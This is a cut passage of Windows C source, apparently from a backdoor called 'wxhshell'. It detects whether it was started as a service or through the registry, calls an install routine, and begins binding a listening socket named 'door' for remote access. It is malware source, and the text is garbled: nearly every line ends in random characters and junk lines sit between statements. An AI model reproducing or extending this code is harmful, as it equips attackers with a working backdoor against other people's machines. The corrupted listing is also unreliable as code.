DWORD AffinityMask; #mwV66'H
DWORD BasePriority; R2WEPMH%
ULONG UniqueProcessId; T.O^40y
ULONG InheritedFromUniqueProcessId; N p9N#m?
} PROCESS_BASIC_INFORMATION; >FED*C4
?#?[6t
PROCNTQSIP NtQueryInformationProcess; ks|[`FH
q(<#7spz
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <ABN/nH
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RB<LZHZI
`l,=iy$
HANDLE hProcess; 6}^0/76^,
PROCESS_BASIC_INFORMATION pbi; d2lOx|jt
4<._)_m
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b:3n)-V{ u
if(NULL == hInst ) return 0; 08AC9
{Ts@#V=:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N<o3pX2i]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {|?OKCG{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~l"70\&
Cc*"cQe
if (!NtQueryInformationProcess) return 0; U">J$M@
a7'.*H]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ` W$
if(!hProcess) return 0; $O" S*)9
2GOQ| Z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &09z`*,
9n{tbabJ
CloseHandle(hProcess); YBn"9w\#
Gxu
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Awl4*J~
if(hProcess==NULL) return 0; Poy ]5:.
fP>_P#gZ
HMODULE hMod; 0VC8'6S_k
char procName[255]; owL>w
unsigned long cbNeeded; ry9%Y3
jqq96hP,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4zuM?Dp
tiG=KHK%o
CloseHandle(hProcess); *A C){M
dr0<K[S_
if(strstr(procName,"services")) return 1; // 以服务启动 kbzzage6L
KrE:ilm#^Y
return 0; // 注册表启动 K +n
} 4cJ7W_ >i6
Cj31>k1
// 主模块 yO Ed8
int StartWxhshell(LPSTR lpCmdLine) $;NxO0$
{ H.|v^e
SOCKET wsl; O="#yE)
BOOL val=TRUE; I>ks H
int port=0; x95[*[
struct sockaddr_in door; O8:$sei$
u&Q2/Y
if(wscfg.ws_autoins) Install(); QX}O{LQR
5BKga1Q
port=atoi(lpCmdLine); S <~"\<ED
'>dsROB->
if(port<=0) port=wscfg.ws_port; {n9]ej^
Uywi,9f
WSADATA data; R2{ y1b$l
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E>|[@Z
t\44 Pu%
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "@: b'm
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $1<V'b[E
door.sin_family = AF_INET; Zp'c>ty=
door.sin_addr.s_addr = inet_addr("127.0.0.1"); oc.H}Eb%Z
door.sin_port = htons(port); <=WSX{_D
P5 GM s
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XBQ]A89G
closesocket(wsl); RC(fhqV
return 1; DyeV
uB
} mqL&b